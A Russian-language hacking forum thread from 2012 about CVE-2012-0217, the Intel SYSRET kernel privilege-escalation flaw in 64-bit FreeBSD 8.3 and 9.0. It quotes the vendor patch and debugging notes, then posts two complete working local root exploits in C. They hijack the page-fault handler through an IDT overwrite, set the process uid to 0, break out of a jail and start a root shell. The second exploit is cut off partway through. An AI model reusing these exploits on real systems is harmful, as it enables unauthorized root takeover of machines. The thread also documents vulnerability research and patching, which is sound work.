PDA

Просмотр полной версии : CVE-2012-0217 FreeBSD 7.x - 9.0 amd64 privesc @ Intel CPUs


SynQ
13.06.2012, 09:06
FreeBSD-SA-12:04.sysret


UPDATE: эксплойт от overxor в 12-ом посте (https://rdot.org/forum/showpost.php?p=26841&postcount=12) этой темы!
UPDATE2: более поздний эксплойт от iZsh с меньшим количеством зависимостей 17-ом посте (https://rdot.org/forum/showpost.php?p=26917&postcount=17)
UPDATE3:
BlackHat US 12: Rafal Wojtczuk - A Stitch in Time Saves Nine: A Case of Multiple Operating System Vulnerability Whitepaper (https://media.blackhat.com/bh-us-12/Briefings/Wojtczuk/BH_US_12_Wojtczuk_A_Stitch_In_Time_WP.pdf)
BlackHat US 12: Rafal Wojtczuk - A Stitch in Time Saves Nine: A Case of Multiple Operating System Vulnerability Slides (https://media.blackhat.com/bh-us-12/Briefings/Wojtczuk/BH_US_12_Wojtczuk_A_Stitch_In_Time_Slides.pdf)
UPDATE4:
VUPEN - Advanced Exploitation of Windows Kernel Intel 64-Bit Mode Sysret Vulnerability (http://www.vupen.com/blog/20120806.Advanced_Exploitation_of_Windows_Kernel_x 64_Sysret_EoP_MS12-042_CVE-2012-0217.php)
UPDATE5:
Видео + исходники эксплуатации уязвимости под Windows (http://repret.wordpress.com/2012/08/25/windows-kernel-intel-x64-sysret-vulnerability-code-signing-bypass-bonus/)
UPDATE6:
VUPEN - Advanced Exploitation of Xen Hypervisor Sysret VM Escape Vulnerability (http://www.vupen.com/blog/20120904.Advanced_Exploitation_of_Xen_Sysret_VM_Es cape_CVE-2012-0217.php)
UPDATE7(2015):
Adventures in Xen exploitation (https://www.nccgroup.com/en/blog/2015/02/adventures-in-xen-exploitation/)

Рафау Войчук (Rafal Wojtczuk), который работал в фирме Джоанны Рутковской, выложил багу под гипервизор Xen, которая также нашлась в 64-битных версиях ядра FreeBSD, работающих на процессорах Intel.

Заключается она в возможности выполнения своего кода в ring0.

При установке пользователем указателя инструкций RIP неканонического вида процессор вызовет обработчик ошибки, который, будучи еще в ring0, запустится с выбранными пользователем значениями регистров %gs и %rsp.

Уязвимости подвержены все поддерживаемые версии FreeBSD (о более ранних молчат).

Исправлено:
Corrected: 2012-06-12 12:10:10 UTC (RELENG_7, 7.4-STABLE)
2012-06-12 12:10:10 UTC (RELENG_7_4, 7.4-RELEASE-p9)
2012-06-12 12:10:10 UTC (RELENG_8, 8.3-STABLE)
2012-06-12 12:10:10 UTC (RELENG_8_3, 8.3-RELEASE-p3)
2012-06-12 12:10:10 UTC (RELENG_8_2, 8.2-RELEASE-p9)
2012-06-12 12:10:10 UTC (RELENG_8_1, 8.1-RELEASE-p11)
2012-06-12 12:10:10 UTC (RELENG_9, 9.0-STABLE)
2012-06-12 12:10:10 UTC (RELENG_9_0, 9.0-RELEASE-p3)

Патч:
Index: sys/amd64/amd64/trap.c
================================================== =================
--- sys/amd64/amd64/trap.c.orig
+++ sys/amd64/amd64/trap.c (working copy)
@@ -972,4 +972,21 @@
syscallname(td->td_proc, sa.code)));

syscallret(td, error, &sa);
+
+ /*
+ * If the user-supplied value of %rip is not a canonical
+ * address, then some CPUs will trigger a ring 0 #GP during
+ * the sysret instruction. However, the fault handler would
+ * execute with the user's %gs and %rsp in ring 0 which would
+ * not be safe. Instead, preemptively kill the thread with a
+ * SIGBUS.
+ */
+ if (td->td_frame->tf_rip >= VM_MAXUSER_ADDRESS) {
+ ksiginfo_init_trap(&ksi);
+ ksi.ksi_signo = SIGBUS;
+ ksi.ksi_code = BUS_OBJERR;
+ ksi.ksi_trapno = T_PROTFLT;
+ ksi.ksi_addr = (void *)td->td_frame->tf_rip;
+ trapsignal(td, &ksi);
+ }
}

Посмотреть тип процессора во FreeBSD можно так:
sysctl -a|grep "hw."

@argp уже пишет poc, так что думаю эксплойт не за горами.

Линки:
баг в Xen – https://bugzilla.redhat.com/show_bug.cgi?id=813428 (https://bugzilla.redhat.com/show_bug.cgi?id=813428)
Патч – http://security.freebsd.org/patches/SA-12:04/sysret.patch (http://security.freebsd.org/patches/SA-12:04/sysret.patch)
В ядре Linux это исправили в 2006-м году – http://git.kernel.org/?p=linux/kernel/git/torvalds/linux.git;... (http://git.kernel.org/?p=linux/kernel/git/torvalds/linux.git;a=commitdiff;h=c33d4568aca9028a22857f94f 5e0850012b6444b;hp=31fe4d331729e9687db84521c3ceb8e 43390efcf)

PS Интересно, в Open- и NetBSD такой баги нет?

SynQ
14.06.2012, 16:32
В NetBSD тоже нашлась :) И в Win7.

Хороший пост о баге: http://blog.xen.org/index.php/2012/06/13/the-intel-sysret-privilege-escalation/

Кто не знает английского, кратко сюда перепишу.
Неканонический - указатель, который лежит за пределами диапазонов:
0x0000000000000000-0x00007fffffffffff
0xffff800000000000-0xffffffffffffffff

После SYSRET в RIP восстанавливается значение, которое было сохранено в RCX. И тогда срабатывает general protection fault, в котором ядро пытается записать fault frame по адресу в rsp (который может быть указан юзером перед выполнением syscall).

tipsy
14.06.2012, 18:19
В OpenBSD нет

SynQ
19.06.2012, 10:05
Еще порция инфы. На блэкхэте Рафау будет выступать с предентацией, там же наверняка будет эксплойт.

Пока Immunity CANVAS выложили видео работы эксплойта в своем фреймворке (не особо интересно): http://partners.immunityinc.com/movies/SYSRET-v2.mov

Как оказалось, во фре изначально неправильно запатчили этот баг в версии 8.1 (случайно вставили проверку внутри другого условия if):
http://marc.info/?l=freebsd-security&m=133986981130813&w=2
http://marc.info/?l=freebsd-security&m=134005680621707&w=2
http://svnweb.freebsd.org/base/releng/8.1/sys/amd64/amd64/trap.c?revision=236953&view=markup#l965

SynQ
20.06.2012, 17:00
У кого какие идеи, как сделать в rip неканонический адрес при сисколле?
Через ptrace() никак наверно. Сделать mmap в зоне неканонических адресов естественно не разрешает.

Пришла идея, что можно заммапить последнюю страницу 0x7ffffffff000 в юзерленде, занопить ее, а в самый конец поставить вызов сисколла, тогда по идее при его вызове rip выйдет за зону канонических адресов и станет 0x800000000000.
У меня на фре 9.0 в виртуалке подобный ход конем завешивает ее, в /var/crash пусто.

Какие мысли, это оно?

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

char sc[]=
"\x90\x48\xb8\xb7\x00\x00\x00\x00\x00\x00\x00" // mov 123, rax
"\x48\x31\xff" // xor rdi, rdi
"\x0f\x05"; // syscall

void main(){
void (*addr)();
addr = mmap(0x00007ffffffff000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);

if (addr == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}

memset(addr, 0x90,4096);
memcpy(addr+4080, sc, 16);
addr();
// 0x0000000000000000-0x00007fffffffffff 0xffff800000000000-0xffffffffffffffff
}

Specialist
21.06.2012, 21:24
Такого рода вещи лучше на реальном железе тестить, а не в виртуалке, они вполне могли всё эмулировать в соответствии со стандартами. Во фре есть неплохой DDB, посмотри в нём, что в RCX перед SYSRET.
Идея твоя классная, должно сработать :)
Дыра вообще интересная, был бы x64, поковырял бы.

SynQ
22.06.2012, 11:35
Не, выше видео есть от immunity, там тоже в виртуалке, все работает через VT-d проца.
В моем случае еще лучше: я эту freebsd amd64 запускаю в 32-битной хост ОСи :)

ddb лень ставить/разбираться, хотя может и посмотрю. Через месяц на blackhat уверен готовый эксплойт зарелизят.

overxor
23.06.2012, 13:47
SynQ, отличная идея!
В сискол входит с rip равным 0x800000000000
Единственная сложность отлаживать неудобно. ddb через раз ловит панику.
И перед sysret значение rsp, которое я задал еще в юзер моде, почему-то не восстанавливается.

SynQ
25.06.2012, 14:00
Выложу немного наработок.
я ставил бряк на amd64_syscall и последовательно проверял имя процесса (в файле поставил перез запуском sleep(10)):
(kgdb) print td->td_name
если не мой запущенный файл, то continue "c" и снова смотрел имя, пока не найдешь, обычно раз 5-6 хватало, чтобы найти.
Затем снимал бряк "clear amd64_syscall".
Бектрейс показал, что amd64_syscall вызывается из Xfast_syscall(): http://fxr.watson.org/fxr/source/amd64/amd64/exception.S#L387
На след. строку можно поставить бряк b /usr/src/sys/amd64/amd64/exception.S:388
Поскольку у меня переходило на третью метку и уходило куда-то далеко, я руками сменил rip на тот, что в 398-ой строке, тогда далее $rsp и $rcx (в котором $rip) восстанавливались, как и должно быть, но увидеть запись ошибки по выбранному $rsp не довелось - вмварь на sysret ребутала вм.
Вероятно такие вещи надо отлаживать на реальной машине с серийным портом.

В логах вмвари увидел, что рестарт идет из-за triple fault процессора

12309
25.06.2012, 22:15
https://www.youtube.com/watch?v=1UeJXokbja0
видео со сплоентом, не от immunity canvas

Pashkela
26.06.2012, 11:42
У кого какие идеи, как сделать в rip неканонический адрес при сисколле?

Details from the reporter, Rafal Wojtczuk (http://webcache.googleusercontent.com/search?q=cache:ynJMFfr7b30J:www.trackpads.com/news/defense/homeland-security/vu-649219-sysret-64-bit-operating-system-privilege-escalation-vulnerability-on-intel-cpu-hardware+Details+from+the+reporter,+Rafal+Wojtczuk&cd=4&hl=ru&ct=clnk&gl=ru)

Attack steps (done by ring3 attacker)

Map a frame at virtual address (1<<47)-4096
Any method to set the target of sysret to a non-canonical address can potentially be used. This includes ptrace, sys_sigreturn, sigaction, execve, possibly others. The best solution is to add a check for the address being non-canonical close before executing sysret. Note if the syscall handler ends with iret, then even if iret throws #GP, rsp is not controlled by the attacker, and such the situation can be handled safely.
Place a syscall instruction at address (1<<47)-2
Place SOMETHING_MALICIOUS in general purpose registers
Set rsp to AROUND_SOME_IMPORTANT_RING0_STRUCTURE
Other scenarios are possible. Whenever the #GP handler runs with usermode rsp, or does not do swapgs correctly, code execution may be possible.
Jump to syscall instruction at (1<<47)-2


At the syscall handler entry, rcx will be set to (1<<47)-2+instruction_len(syscall) = 1<<47, which is non-canonical. Therefore, when the syscallhandler terminates with sysret, #GPwill be raised. This fault will be handled without a stack switch (assuming #GP entry in IDT does not include a nonzero IST index), as the faulting instruction is in ring0. Only Intel CPUs are affected. On AMD CPUs, sysret completes the switch to ring3 before throwing #GP, so the stack switch occurs. Also, immediately before sysret, the syscall handler must restore rsp to the value set by ring3 (because syscall/sysret do not set rsp). Therefore, the #GP handler will execute with rsp chosen by the attacker, so when GPRs are pushed on the stack in the #GP handler prologue, SOMETHING_MALICIOUS will be placed at AROUND_SOME_IMPORTANT_RING0_STRUCTURE. This write-anything-anywhere primitive could be enough to hijack execution in ring0. Additionally, in many cases, gs base is not swapped in the #GP prologue (as the fault originates in ring0), which may make the exploitation quite reliable and stable - overwrite #PF IDT entry via stack push, trigger #PF by gs access, repair IDT (from IDT table of other cpu) in the shellcode, return to usermode.

+

обсуждение этого на тарабарском (кстати тут автор этого видео - https://www.youtube.com/watch?v=1UeJXokbja0):

http://hup.hu/cikkek/20120613/sysret_64_bites_opereracios_rendszer_privilege_esc alation_sebezhetoseg_intel_cpu-s_hardveren

онлайн переводчик с венгерского: http://mrtranslate.ru/translate/hungarian-russian.html

overxor
03.07.2012, 20:07
Pashkela, thx за инфу. Rafal Wojtczuk, достаточно подробно описал шаги эксплуатации.
Для тех, кто хотел бы покопаться в баге. Ставте бряк на Xprot и потом уже вызывайте сплойт с фаултом.
Отлаживать можно вполне и удаленно. Для VMWare надо добавить в <Имя машины>.vmx
debugStub.listen.guest64=1
debugStub.listen.guest64.remote="TRUE"
Для qemu:
обязательно надо запускать с -kernel-kqemu опцией, иначе он эмулирует sysret.
и опцией -s

После в клиенте gdb
file <путь до отлаживаемого ядра>
target remote localhost:8864
или для qemu
target remote addr:1234

Основная сложность с восстановлением idt таблицы и определением обработчиков для прерываний, но она легко решается чтением данных из самого ядра(по умолчанию ядро доступно всем для чтения)
Пока только версия под 9ку, скоро остальные добавлю.
Подозреваю, что разниться будет только STATIC_OFFSET между версиями.

POC (bsd 9 and 8.3 x64)
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define _WANT_UCRED
#include <sys/ucred.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/utsname.h>

#include <machine/segments.h>
#include <machine/intr_machdep.h>

#define STATIC_OFFSET 0x250

struct gate_descriptor *gt;
void *uaddr, *ustack;

unsigned char shellcode[] =
"\x48\xb8\x18\x00\x00\x00\x00\x00\x00\x00" // mov rax, 0x14
"\x48\xba\x00\x00\x20\x00\x00\x8e\x00\x00" // mov rdx, 0xZZZZ000020XXXX # hijack of the handler PF at 0x00000000ZZZZXXXX
"\x48\xbc\xb0\x41\x18\x81\xff\xff\xff\xff" // mov rsp, 0xRRRRRRRRRRRRRR # (idt + 0x250)
"\x0f\x05"; // syscall

struct restore_entry {
u_char idx;
u_char dpl;
void *addr;
u_char name[10];
} entries[] = {{ 0, 0, NULL, "idt0" },
{ 0, 0, NULL, "Xrsvd"},
{ IDT_DE, 0, NULL, "Xdiv" },
{ IDT_DB, 0, NULL, "Xdbg" },
{ IDT_NMI,2, NULL, "Xnmi" },
{ IDT_BP, 0, NULL, "Xbpt" },
{ IDT_OF, 0, NULL, "Xofl" },
{ IDT_BR, 0, NULL, "Xbnd" },
{ IDT_UD, 0, NULL, "Xill" },
{ IDT_NM, 0, NULL, "Xdna" },
{ IDT_DF, 1, NULL, "Xdblfault" },
{ IDT_FPUGP, 0, NULL, "Xfpusegm" },
{ IDT_TS, 0, NULL, "Xtss" },
{ IDT_NP, 0, NULL, "Xmissing" },
{ IDT_SS, 0, NULL, "Xstk" },
{ IDT_GP, 0, NULL, "Xprot" },
{ IDT_PF, 0, NULL, "Xpage" },
{ IDT_MF, 0, NULL, "Xfpu" },
{ IDT_AC, 0, NULL, "Xalign"},
{ IDT_MC, 0, NULL, "Xmchk" },
{ IDT_XF, 0, NULL, "Xxmm" }};

void *
resolve_addr(char *func)
{
u_int64_t addr = 0;
struct kld_sym_lookup ksym;

ksym.version = sizeof(ksym);
ksym.symname = func;

if(!kldsym(0, KLDSYM_LOOKUP, &ksym))
addr = ksym.symvalue;

return (void *)addr;
}

void
exit_usermode(void)
{
system("/bin/sh -i");
_exit(0);
}

void
setidt(idx, func, typ, dpl, ist)
int idx;
void *func;
int typ;
int dpl;
int ist;
{
struct gate_descriptor *ip;

ip = gt + idx;
ip->gd_looffset = (uintptr_t)func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = ((uintptr_t)func)>>16 ;
}

void
check_version()
{
struct utsname uts;
uname(&uts);

if(!(!strncmp(uts.version, "FreeBSD 9.0", 11) ||
!strncmp(uts.version, "FreeBSD 8.3", 11))) {
fprintf(stderr, "Not vulnerable. FreeBSD 9.0 and 8.3 only!\n");
_exit(1);
}
}

void
kernel_code(void)
{
int x, i;
struct thread *td;
struct proc *parent;

__asm("movq %r10, %rsp");

for(x = 0; x < 29; x ++) {
setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
}

for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
}

asm volatile ( "swapgs\n"
"movq %%gs:0, %0":"=r"(td) );

td->td_proc->p_ucred->cr_uid = 0;

parent = td->td_proc;
while (parent->p_pptr && parent->p_pid != 1)
parent = parent->p_pptr;

td->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;
td->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;
td->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;
td->td_proc->p_ucred->cr_prison = parent->p_ucred->cr_prison;

/* Return in lusermode %) */
asm volatile ("movq %0, %%rcx\n"
"movq %1, %%rsp\n"
"swapgs\n"
"sysretq"::"r"(uaddr),"r"(ustack));
}

int
main(int argc, char *argv[])
{
int x;
u_short high, low;
u_int64_t kaddr;

check_version();

void *maddr = mmap((void *)0x7ffffffff000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON, -1, 0);
if(maddr == MAP_FAILED) {
perror("Error mmaped address");
return -1;
}

memset(maddr, 0x90, 0x1000);
memcpy(maddr + 0x1000 - (sizeof(shellcode) - 1), shellcode, sizeof(shellcode) - 1);

/* Resolve all addresses */
for(x = 0; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
entries[x].addr = resolve_addr(entries[x].name);
if(entries[x].addr == NULL) {
printf("Can't resolve address for function %s\n", entries[x].name);
return -1;
}
}

gt = entries[0].addr;

kaddr = (u_int64_t)&kernel_code;
uaddr = &exit_usermode;
__asm("movq %%rsp, %0" : "=m"(ustack));

high = (kaddr >> 16);
low = (kaddr);

char *ptr = (char *)0x800000000000 - 20;
*(u_short *)ptr = low;
ptr = (char *)0x800000000000 - 14;
*(u_short *)ptr = high;
ptr = (char *)0x800000000000 - 10;
*(u_int64_t *)ptr = (u_int64_t)((char *)gt + STATIC_OFFSET);

(*(void(*)()) maddr)();
}

P.S. Добавлен обход jail.

SynQ
04.07.2012, 10:09
overxor
Супер! Объясни pls пару моментов

mov rsp, 0xRRRRRRRRRRRRRR # (idt + 0x250)
Почему пишем именно туда? И каков путь вызова kernel_code()?

Вопросы по ней:

__asm("movq %r10, %rsp");
Зачем? в r10 лежит rsp ядра?

for(x = 0; x < 29; x ++) {
setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
}

for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
}
Зачем делается первый проход? Что он вообще значит и для чего он? Второй восстанавливает первоначальную IDT?

asm volatile ( "swapgs\n"
"movq %%gs:0, %0":"=r"(td) );
Это мы трогаем %gs, чтобы сгенерировать PF (как пишет Рафау) или просто получаем указатель на thread для апдейта id?


PS Даже если ставить бряк на Xprot в vmware 8 при запуске эксплойта, все-равно ребутается с triple fault. Не знаю, что ей нужно. Может 64-битную хост ОС?

overxor
04.07.2012, 17:16
Спасиб

mov rsp, 0xRRRRRRRRRRRRRR # (idt + 0x250)
Почему пишем именно туда? И каков путь вызова kernel_code()?

На выходе из sysret, из-за неканонического rcx будет прерывание general protection fault. Обработчик вызовет Xprot -> alltraps_pushregs_no_rdi(именно в этой функции записываются регистры общего назначения на стек). Забегая вперед скажу, что rdx кладет именно на поле обработчика для прерывания protection fault при заданном rsp == (idt + 0x250). Т.е. мы подменяем обработчик своей функцией, которой является kernel_code() в сплойте.

Технически это будет выглядеть так:
0xffffffff81184040 <idt0+224>: 0x00408e0000200b60 0x0000800000000000
[ rdx ] [ rcx ]
SwapGS обменивает данные KernelGSbase MSR с gs, что делает возможным к обращению структурам ядра. Так, что перед выходом из Xfast_syscall
<Xfast_syscall+333> swapgs <- происходит переключение и данные ядра становятся недоступны.
и далее по коду
<Xprot+61>: mov %gs:0x20,%rdi <- Т.к. структуры ядра недоступны, генерируется прерывание protection fault.
Вызывается обработчик PF, в моем случае это 0x0000000000400b60 (kernel_code())

Теперь по

__asm("movq %r10, %rsp");
Зачем? в r10 лежит rsp ядра?
Да, в r10 лежит указатель на стек, иначе стек просто указывает на idt, что может плохо кончиться. Вообще сплойт и без восстановления rsp отрабатывал, таблица прерываний портилась, но система не падала. На всякий случай лучше оставить.


for(x = 0; x < 29; x ++) {
setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
}

for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
}
Зачем делается первый проход? Что он вообще значит и для чего он? Второй восстанавливает первоначальную IDT?
Первое идет заполнение всех полей таблицы дефолтным обработчиком. Во втором цикле уже выборочно для используемых. Я старался не отступать от кода ядра в /usr/src/sys/amd64/amd64/machdep.c в функции hammer_time найдешь похожие строки кода.


asm volatile ( "swapgs\n"
"movq %%gs:0, %0":"=r"(td) );
Это мы трогаем %gs, чтобы сгенерировать PF (как пишет Рафау) или просто получаем указатель на thread для апдейта id?
Не не. Здесь мы разрешаем обращение к структурам ядра и получаем указатель на current thread.

Эм... triple fault? После запуска сплойта система совсем перестает работать? Просто если не происходит вызова Xprot, тогда по сути бага с sysret не срабатывает.
Хотелось бы увидеть тесты на реальных системах. Я у себя тестил на VMWare 8 c bsd 9 x64(хостовая система 64 битная) дефолтным ядром и на реальной системе с кастомным ядром, везде отработало нормально. Могу видяшку снять, если надо.

SynQ
04.07.2012, 18:02
overxor
Спасибо за ответы. Буду разибраться.

У меня на виртуалке твой эксплойт отрабатывает отлично (vmware 8, freebsd 9), но стоит поставить бряк на Xprot и запустить его, то уже не отрабатывает, а выдает triple fault. Что-то vmware мудрит похоже.

overxor
05.07.2012, 04:26
Проверил, на 8.3 тоже работает без изменения кода.

SynQ
08.07.2012, 11:04
iZsh выложил write-up и свой эксплойт:
http://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd.html

Очень похож на эксплойт от overxor, но есть небольшие отличия. Также 8.3 и 9.0.

// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
// Copyright 2012 all right reserved, not for commercial uses, bitches
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>

uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;

struct gate_descriptor * sidt()
{
struct region_descriptor idt;

asm ("sidt %0": "=m"(idt));

return (struct gate_descriptor*)idt.rd_base;
}

u_long get_symaddr(char *symname)
{
struct kld_sym_lookup ksym;

ksym.version = sizeof (ksym);
ksym.symname = symname;

if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
return ksym.symvalue;
}

// Code taken from amd64/amd64/machdep.c
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
struct gate_descriptor *ip;

ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = func>>16;
}

void shellcode()
{
// Actually we dont really need to spawn a shell since we
// changed our whole cred struct.
// Just exit...
printf(" Got root!\n");
exit(0);
}

void kernelmodepayload()
{
struct thread *td;
struct ucred *cred;

// We need to restore/recover whatever we smashed
// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
// idt[18], idt[17] and idt[16]
// thus overall we have:
// - idt[18], idt[17] and idt[16] are trashed
// - tf_addr -> overwrites the 64bit-LSB of idt[15]
// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
// - rdi -> overwrites the 64bit-LSB of idt[7]
// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18

// get the thread pointer
asm ("mov %%gs:0, %0" : "=r"(td));

// The Dark Knight Rises
cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;

// return to user mode to spawn the shell
asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
}

#define TRIGGERCODESIZE 20
#define TRAMPOLINECODESIZE 18

void trigger()
{
printf(" Setup...\n");
// Allocate one page just before the non-canonical address
printf(" [+] Trigger code...\n");
uint64_t pagesize = getpagesize();
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
area = mmap(area, pagesize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (area == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}

// Copy the trigger code at the end of the page
// such that the syscall instruction is at its
// boundary
char triggercode[] =
"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
"\x0f\x05"; // syscall

uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);

// There are two outcomes given a target rsp:
// - if rsp can't be written to, a double fault is triggered
// (Xdblfault defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to a special stack
// - otherwise a #GP is triggered
// (Xprot defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to [rsp]
//
// In the latter case, trouble is... #GP triggers a page fault
// (Xpage):
// IDTVEC(prot)
// subq $TF_ERR,%rsp
// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
// [2] movq $0,TF_ADDR(%rsp)
// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
// leaq doreti_iret(%rip),%rdi
// cmpq %rdi,TF_RIP(%rsp)
// je 1f /* kernel but with user gsbase!! */
// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
// jz 2f /* already running with kernel GS.base */
// 1: swapgs
// 2: movq PCPU(CURPCB),%rdi [5]
//
// [4] sets the Z flag because we come from the kernel (while executing sysret)
// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
// it was restored just before calling sysret...
// Thus, [5] triggers a pagefault while trying to access gs:data
// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
//
// We therefore need a way: (1) to recover from the GP, (2) to clean
// any mess we did. Both could be solved if we can get get an arbitrary
// code execution by the time we reach [5] (NB: this is not mandatory, we could
// get the code execution later down the fault trigger chain)
//
// So... here is the idea: wouldn't it be nice if we could overwrite the
// page fault handler's address and therefore get code execution when [5]
// triggers the #PF?
//
// For reference:
// Gate descriptor:
// +0: Target Offset[15:0] | Target Selector
// +4: Some stuff | Target Offset[31:16]
// +8: Target Offset[63:32]
// +12: Stuff
//
// and from include/frame.h:
// struct trapframe {
// register_t tf_rdi;
// register_t tf_rsi;
// register_t tf_rdx;
// register_t tf_rcx;
// register_t tf_r8;
// register_t tf_r9;
// register_t tf_rax;
// register_t tf_rbx;
// register_t tf_rbp;
// register_t tf_r10;
// register_t tf_r11;
// register_t tf_r12;
// register_t tf_r13;
// register_t tf_r14;
// register_t tf_r15;
// uint32_t tf_trapno;
// uint16_t tf_fs;
// uint16_t tf_gs;
// register_t tf_addr;
// uint32_t tf_flags;
// uint16_t tf_es;
// uint16_t tf_ds;
// /* below portion defined in hardware */
// register_t tf_err;
// register_t tf_rip;
// register_t tf_cs;
// register_t tf_rflags;
// register_t tf_rsp;
// register_t tf_ss;
// };
//
// When the exception is triggered, the hardware pushes
// ss, rsp, rflags, cs, rip and err
//
// We can see that [1], [2] and [3] write to the stack
// [3] is fully user-controlled through rdi, so we could try to align
// rsp such that [3] overwrites the offset address
//
// The trouble is... rsp is 16byte aligned for exceptions. We can
// therefore only overwrite the first 32-LSB of the offset address
// (check how rdi is 16byte aligned in this trapframe)
//
// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
// and tf_trapno is 16byte aligned + 8!
// This enables us to set Target Offset[63:32] to 0x9
//
// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
// Hence, the #PF handler's address is now 0x9WWXXYYZZ
// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
// some setup and jump to our kernel mode code
printf(" [+] Trampoline code...\n");
char trampolinecode[] =
"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
"\xff\xe0"; // jmp rax

uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
size_t trampoline_allocsize = pagesize;
// We round the address to the PAGESIZE for the allocation
// Not enough space for the trampoline code ?
if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
trampoline_allocsize += pagesize;
